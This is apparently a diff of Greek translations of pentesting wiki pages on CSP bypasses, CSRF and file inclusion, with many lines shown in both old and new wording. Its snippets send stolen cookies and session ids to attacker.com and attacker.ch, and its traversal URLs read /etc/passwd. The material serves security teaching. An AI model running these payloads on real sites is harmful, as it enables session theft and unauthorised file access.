Με την παρακολούθηση των αιτημάτων που αποκλείονται ή επιτρέπονται από την CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL.
Με την παρακολούθηση των αιτημάτων που αποκλείονται ή επιτρέπονται από το CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL.
Και οι δύο μέθοδοι εκμεταλλεύονται τις λεπτομέρειες της υλοποίησης και της συμπεριφοράς της CSP στους περιηγητές, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορούν ακούσια να διαρρεύσουν ευαίσθητες πληροφορίες.
Και οι δύο μέθοδοι εκμεταλλεύονται τις λεπτομέρειες της υλοποίησης και της συμπεριφοράς του CSP στους περιηγητές, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορούν ακούσια να διαρρεύσουν ευαίσθητες πληροφορίες.
Trick from [**here**](https://ctftime.org/writeup/29310).
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -657,16 +657,16 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME είναι μια τεχνική που εκμεταλλεύεται ένα XSS (ή πολύ περιορισμένο XSS) **σε ένα endpoint μιας σελίδας** για να **εκμεταλλευτεί** **άλλα endpoints της ίδιας προέλευσης.** Αυτό γίνεται φορτώνοντας το ευάλωτο endpoint από μια σελίδα επιτιθέμενου και στη συνέχεια ανανεώνοντας τη σελίδα του επιτιθέμενου στο πραγματικό endpoint στην ίδια προέλευση που θέλετε να εκμεταλλευτείτε. Με αυτόν τον τρόπο το **ευάλωτο endpoint** μπορεί να χρησιμοποιήσει το **`opener`** αντικείμενο στο **payload** για να **πρόσβαση στο DOM** του **πραγματικού endpoint προς εκμετάλλευση**. Για περισσότερες πληροφορίες δείτε:
SOME είναι μια τεχνική που εκμεταλλεύεται ένα XSS (ή πολύ περιορισμένο XSS) **σε ένα endpoint μιας σελίδας** για να **εκμεταλλευτεί** **άλλα endpoints της ίδιας προέλευσης.** Αυτό γίνεται φορτώνοντας το ευάλωτο endpoint από μια σελίδα επιτιθέμενου και στη συνέχεια ανανεώνοντας τη σελίδα του επιτιθέμενου στο πραγματικό endpoint στην ίδια προέλευση που θέλετε να εκμεταλλευτείτε. Με αυτόν τον τρόπο το **ευάλωτο endpoint** μπορεί να χρησιμοποιήσει το **`opener`** αντικείμενο στο **payload** για να **πρόσβαση στο DOM** του **πραγματικού endpoint προς εκμετάλλευση**. Για περισσότερες πληροφορίες ελέγξτε:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
Επιπλέον, το **wordpress** έχει ένα **JSONP** endpoint στο `/wp-json/wp/v2/users/1?_jsonp=data` που θα **αντανακλά** τα **δεδομένα** που αποστέλλονται στην έξοδο (με τον περιορισμό μόνο σε γράμματα, αριθμούς και τελείες).
Επιπλέον, το **wordpress** έχει ένα **JSONP** endpoint στο `/wp-json/wp/v2/users/1?_jsonp=data` που θα **αντανακλά** τα **δεδομένα** που αποστέλλονται στην έξοδο (με τον περιορισμό μόνο γραμμάτων, αριθμών και τελείων).
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το endpoint για να **δημιουργήσει μια επίθεση SOME** κατά του WordPress και να **ενσωματώσει** το μέσα σε `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` σημειώστε ότι αυτό το **script** θα **φορτωθεί** επειδή είναι **επιτρεπτό από 'self'**. Επιπλέον, και επειδή το WordPress είναι εγκατεστημένο, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί την **επίθεση SOME** μέσω του **ευάλωτου** **callback** endpoint που **παρακάμπτει το CSP** για να δώσει περισσότερα προνόμια σε έναν χρήστη, να εγκαταστήσει ένα νέο plugin...\
Για περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτήν την επίθεση δείτε [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Για περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτήν την επίθεση ελέγξτε [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
@ -674,7 +674,7 @@ SOME είναι μια τεχνική που εκμεταλλεύεται ένα
### Location
Μπορείτε απλώς να ενημερώσετε την τοποθεσία για να στείλετε στον διακομιστή του επιτιθέμενου τις μυστικές πληροφορίες:
Μπορείτε απλά να ενημερώσετε την τοποθεσία για να στείλετε στον διακομιστή του επιτιθέμενου τις μυστικές πληροφορίες:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
@ -687,7 +687,7 @@ document.location = "https://attacker.com/?" + sessionid;
```
### DNS Prefetch
Για να φορτώνουν οι σελίδες πιο γρήγορα, οι φυλλομετρητές θα προ-λύσουν ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και θα τα αποθηκεύσουν για μελλοντική χρήση.\
Για να φορτώσουν τις σελίδες πιο γρήγορα, οι φυλλομετρητές θα προ-λύσουν τα ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και θα τα αποθηκεύσουν στην κρυφή μνήμη για μελλοντική χρήση.\
Μπορείτε να υποδείξετε σε έναν φυλλομετρητή να προ-λύσει ένα όνομα κεντρικού υπολογιστή με: `<link rel="dns-prefetch" href="something.com">`
Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **εξάγετε ευαίσθητες πληροφορίες μέσω DNS αιτημάτων**:
@ -696,7 +696,7 @@ var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
Άλλος τρόπος:
Ένας άλλος τρόπος:
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
@ -708,12 +708,12 @@ document.head.appendChild(linkEl);
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Προφανώς, αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots)
Φαίνεται ότι αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots)
{% endhint %}
### WebRTC
Σε πολλές σελίδες μπορείτε να διαβάσετε ότι **το WebRTC δεν ελέγχει την πολιτική `connect-src`** της CSP.
Σε πολλές σελίδες μπορείτε να διαβάσετε ότι **το WebRTC δεν ελέγχει την πολιτική `connect-src`** του CSP.
Στην πραγματικότητα μπορείτε να _leak_ πληροφορίες χρησιμοποιώντας ένα _DNS request_. Δείτε αυτόν τον κώδικα:
```javascript
@ -752,7 +752,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -50,7 +50,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
### Defending Against CSRF
Μερικά μέτρα κατά της CSRF μπορούν να εφαρμοστούν για να προστατευτούν από επιθέσεις CSRF:
Πολλές αντεπίθεσεις μπορούν να εφαρμοστούν για να προστατευτούν από επιθέσεις CSRF:
* [**SameSite cookies**](hacking-with-cookies/#samesite): Αυτό το χαρακτηριστικό αποτρέπει τον περιηγητή από το να στέλνει cookies μαζί με αιτήματα από άλλες ιστοσελίδες. [Περισσότερα για τα SameSite cookies](hacking-with-cookies/#samesite).
* [**Cross-origin resource sharing**](cors-bypass.md): Η πολιτική CORS της ιστοσελίδας θύματος μπορεί να επηρεάσει τη δυνατότητα της επίθεσης, ειδικά αν η επίθεση απαιτεί την ανάγνωση της απάντησης από την ιστοσελίδα θύμα. [Μάθετε για την παράκαμψη CORS](cors-bypass.md).
@ -99,14 +99,14 @@ Stay informed with the newest bug bounties launching and crucial platform update
Αν το αίτημα προσθέτει μια **προσαρμοσμένη κεφαλίδα** με ένα **token** στο αίτημα ως **μέθοδο προστασίας CSRF**, τότε:
* Δοκιμάστε το αίτημα χωρίς το **Προσαρμοσμένο Token και επίσης κεφαλίδα.**
* Δοκιμάστε το αίτημα χωρίς το **Προσαρμοσμένο Token και επίσης την κεφαλίδα.**
* Δοκιμάστε το αίτημα με ακριβώς **ίδιο μήκος αλλά διαφορετικό token**.
### CSRF token is verified by a cookie
Οι εφαρμογές μπορεί να εφαρμόσουν προστασία CSRF διπλασιάζοντας το token τόσο σε cookie όσο και σε παράμετρο αιτήματος ή ρυθμίζοντας ένα CSRF cookie και επαληθεύοντας αν το token που αποστέλλεται στο backend αντιστοιχεί στο cookie. Η εφαρμογή επικυρώνει τα αιτήματα ελέγχοντας αν το token στην παράμετρο αιτήματος ευθυγραμμίζεται με την τιμή στο cookie.
Οι εφαρμογές μπορεί να εφαρμόσουν προστασία CSRF διπλασιάζοντας το token τόσο σε cookie όσο και σε παράμετρο αιτήματος ή ρυθμίζοντας ένα cookie CSRF και επαληθεύοντας αν το token που αποστέλλεται στο backend αντιστοιχεί στο cookie. Η εφαρμογή επικυρώνει τα αιτήματα ελέγχοντας αν το token στην παράμετρο αιτήματος ευθυγραμμίζεται με την τιμή στο cookie.
Ωστόσο, αυτή η μέθοδος είναι ευάλωτη σε επιθέσεις CSRF αν η ιστοσελίδα έχει ελαττώματα που επιτρέπουν σε έναν επιτιθέμενο να ρυθμίσει ένα CSRF cookie στον περιηγητή του θύματος, όπως μια ευπάθεια CRLF. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό φορτώνοντας μια παραπλανητική εικόνα που ρυθμίζει το cookie, ακολουθούμενη από την έναρξη της επίθεσης CSRF.
Ωστόσο, αυτή η μέθοδος είναι ευάλωτη σε επιθέσεις CSRF αν η ιστοσελίδα έχει ελαττώματα που επιτρέπουν σε έναν επιτιθέμενο να ρυθμίσει ένα cookie CSRF στον περιηγητή του θύματος, όπως μια ευπάθεια CRLF. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό φορτώνοντας μια παραπλανητική εικόνα που ρυθμίζει το cookie, ακολουθούμενη από την έναρξη της επίθεσης CSRF.
Παρακάτω είναι ένα παράδειγμα του πώς θα μπορούσε να δομηθεί μια επίθεση:
```html
@ -130,7 +130,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
### Αλλαγή Content-Type
Σύμφωνα με [**αυτό**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), προκειμένου να **αποφευχθούν οι προετοιμαστικές** αιτήσεις χρησιμοποιώντας τη μέθοδο **POST**, οι επιτρεπόμενες τιμές Content-Type είναι:
Σύμφωνα με [**αυτό**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), προκειμένου να **αποφευχθούν οι προετοιμασμένες** αιτήσεις χρησιμοποιώντας τη μέθοδο **POST**, οι επιτρεπόμενες τιμές Content-Type είναι:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
@ -151,17 +151,17 @@ form.submit();
</body>
</html>
```
### Bypassing Preflight Requests for JSON Data
### Παράκαμψη Προετοιμασίας Αιτημάτων για Δεδομένα JSON
Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST αιτήματος, η χρήση του `Content-Type: application/json` σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Ομοίως, η χρήση του `XMLHttpRequest` για την αποστολή αυτού του τύπου περιεχομένου ξεκινά ένα προετοιμαστικό αίτημα. Παρ' όλα αυτά, υπάρχουν στρατηγικές για να παρακαμφθεί αυτή η περιοριστική κατάσταση και να ελεγχθεί αν ο διακομιστής επεξεργάζεται τα δεδομένα JSON ανεξαρτήτως του Content-Type:
Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST αιτήματος, η χρήση του `Content-Type: application/json` σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Ομοίως, η χρήση του `XMLHttpRequest` για την αποστολή αυτού του τύπου περιεχομένου ξεκινά ένα αίτημα προετοιμασίας. Παρ' όλα αυτά, υπάρχουν στρατηγικές για να παρακαμφθεί αυτή η περιοριστική κατάσταση και να ελεγχθεί αν ο διακομιστής επεξεργάζεται τα δεδομένα JSON ανεξαρτήτως του Content-Type:
1. **Use Alternative Content Types**: Χρησιμοποιήστε `Content-Type: text/plain` ή `Content-Type: application/x-www-form-urlencoded` ορίζοντας `enctype="text/plain"` στη φόρμα. Αυτή η προσέγγιση δοκιμάζει αν το backend χρησιμοποιεί τα δεδομένα ανεξαρτήτως του Content-Type.
2. **Modify Content Type**: Για να αποφύγετε ένα προετοιμαστικό αίτημα ενώ διασφαλίζετε ότι ο διακομιστής αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με `Content-Type: text/plain; application/json`. Αυτό δεν ενεργοποιεί ένα προετοιμαστικό αίτημα αλλά μπορεί να επεξεργαστεί σωστά από τον διακομιστή αν είναι ρυθμισμένος να αποδέχεται `application/json`.
3. **SWF Flash File Utilization**: Μια λιγότερο κοινή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός αρχείου SWF flash για να παρακαμφθούν τέτοιες περιορισμοί. Για μια σε βάθος κατανόηση αυτής της τεχνικής, ανατρέξτε σε [αυτή την ανάρτηση](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Χρήση Εναλλακτικών Τύπων Περιεχομένου**: Χρησιμοποιήστε `Content-Type: text/plain` ή `Content-Type: application/x-www-form-urlencoded` ορίζοντας `enctype="text/plain"` στη φόρμα. Αυτή η προσέγγιση δοκιμάζει αν το backend χρησιμοποιεί τα δεδομένα ανεξαρτήτως του Content-Type.
2. **Τροποποίηση Τύπου Περιεχομένου**: Για να αποφύγετε ένα αίτημα προετοιμασίας ενώ διασφαλίζετε ότι ο διακομιστής αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με `Content-Type: text/plain; application/json`. Αυτό δεν ενεργοποιεί ένα αίτημα προετοιμασίας αλλά μπορεί να επεξεργαστεί σωστά από τον διακομιστή αν είναι ρυθμισμένος να αποδέχεται `application/json`.
3. **Χρήση Αρχείου SWF Flash**: Μια λιγότερο κοινή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός αρχείου SWF flash για να παρακαμφθούν τέτοιες περιοριστικές καταστάσεις. Για μια σε βάθος κατανόηση αυτής της τεχνικής, ανατρέξτε σε [αυτή την ανάρτηση](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Referrer / Origin check bypass
### Παράκαμψη Ελέγχου Referrer / Origin
**Avoid Referrer header**
**Αποφύγετε την κεφαλίδα Referrer**
Οι εφαρμογές μπορεί να επικυρώνουν την κεφαλίδα 'Referer' μόνο όταν είναι παρούσα. Για να αποτρέψετε έναν περιηγητή από το να στείλει αυτή την κεφαλίδα, μπορεί να χρησιμοποιηθεί η παρακάτω HTML μετα-ετικέτα:
```xml
@ -175,7 +175,7 @@ form.submit();
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
Για να ορίσετε το όνομα τομέα του διακομιστή στη διεύθυνση URL που ο παραπέμπων πρόκειται να στείλει μέσα στις παραμέτρους, μπορείτε να κάνετε:
Για να ορίσετε το όνομα τομέα του διακομιστή στη διεύθυνση URL που θα στείλει ο Referrer μέσα στις παραμέτρους μπορείτε να κάνετε:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -194,19 +194,19 @@ document.forms[0].submit();
</body>
</html>
```
### **HEAD method bypass**
### **HEAD μέθοδος παράκαμψης**
Το πρώτο μέρος του [**αυτού του CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) εξηγεί ότι [ο πηγαίος κώδικας του Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), ένας δρομολογητής, έχει ρυθμιστεί να **χειρίζεται τα αιτήματα HEAD ως αιτήματα GET** χωρίς σώμα απόκρισης - μια κοινή λύση που δεν είναι μοναδική για τον Oak. Αντί για έναν συγκεκριμένο χειριστή που ασχολείται με τα αιτήματα HEAD, απλά **δίνονται στον χειριστή GET αλλά η εφαρμογή απλά αφαιρεί το σώμα απόκρισης**.
Επομένως, αν ένα αίτημα GET περιορίζεται, μπορείτε απλά να **στείλετε ένα αίτημα HEAD που θα επεξεργαστεί ως αίτημα GET**.
## **Exploit Examples**
## **Παραδείγματα Εκμετάλλευσης**
### **Exfiltrating CSRF Token**
### **Εξαγωγή CSRF Token**
Αν χρησιμοποιείται ένα **CSRF token** ως **άμυνα**, μπορείτε να προσπαθήσετε να **εξάγετε το** εκμεταλλευόμενοι μια [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ευπάθεια ή μια [**Dangling Markup**](dangling-markup-html-scriptless-injection/) ευπάθεια.
### **GET using HTML tags**
### **GET χρησιμοποιώντας HTML tags**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
@ -323,7 +323,7 @@ headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### multipart/form-data POST αίτημα v2
### multipart/form-data POST request v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
@ -584,18 +584,18 @@ login(USER, line.strip())
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Ενημερώσεις Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
**Νέα Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
Μείνετε ενημερωμένοι για τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετάσχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -106,15 +106,15 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Εξερεύνηση Καταλόγων Συστήματος Αρχείων σε έναν Διακομιστή
### Exploring File System Directories on a Server
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την αναζήτηση για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρατίθεται μια λεπτομερής μέθοδος για να το επιτύχετε αυτό:
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν οι φάκελοι, όχι μόνο τα αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του φακέλου και την αναζήτηση για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρατίθεται μια λεπτομερής μέθοδος για να το επιτύχετε αυτό:
1. **Προσδιορίστε το Βάθος του Καταλόγου:** Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει την εξής δομή, υποδεικνύοντας βάθος τριών:
1. **Determine Directory Depth:** Προσδιορίστε το βάθος του τρέχοντος φακέλου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει την εξής δομή, υποδεικνύοντας βάθος τριών:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Δοκιμή για Φακέλους:** Προσθέστε το όνομα του υποψήφιου φακέλου (π.χ., `private`) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
2. **Δοκιμή για Φακέλους:** Προσθέστε το όνομα του υποψήφιου φακέλου (π.χ., `private`) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί αύξηση του βάθους κατά ένα:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -129,7 +129,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Τεχνική Τραβήγματος Διαδρομής**
Το τραβήγματος διαδρομής είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί τις διαδρομές αρχείων σε διαδικτυακές εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να δείχνει ακόμα στο επιθυμητό αρχείο.
Το τραβήγματος διαδρομής είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί τις διαδρομές αρχείων σε διαδικτυακές εφαρμογές. Χρησιμοποιείται συχνά για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να δείχνει ακόμα στο επιθυμητό αρχείο.
Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
@ -149,9 +149,9 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
Σε αυτά τα σενάρια, ο αριθμός των διασχίσεων που απαιτούνται μπορεί να είναι γύρω στο 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
* **Χρησιμοποιώντας Τμήματα Τελείας και Πρόσθετους Χαρακτήρες**: Οι ακολουθίες διασχίσεων (`../`) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
* **Χρησιμοποιώντας Τμήματα Τελείας και Πρόσθετους Χαρακτήρες**: Ακολουθίες διασχίσεων (`../`) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
* **Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να πλοηγηθεί στην ριζική καταχώρηση και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
* **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να εκπληρώσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
* **Ξεκινώντας με μια Ψεύτικη Καταχώρηση**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με μια ανύπαρκτη καταχώρηση (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομής, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομής του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
@ -314,11 +314,11 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
* Χρησιμοποιήστε τον κωδικοποιητή **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
* Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**.
* Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, οπότε μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
* Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
* Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
* Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι `a` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή a->b->c->d->e->f->g το γράμμα δεν είναι πια εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
* Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως n, o, p, q, r (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
* Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.
* Όταν ο αρχικός χαρακτήρας είναι αριθμός, είναι απαραίτητο να τον κωδικοποιήσετε σε base64 και να διαρρεύσετε τα 2 πρώτα γράμματα για να διαρρεύσετε τον αριθμό.
* Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
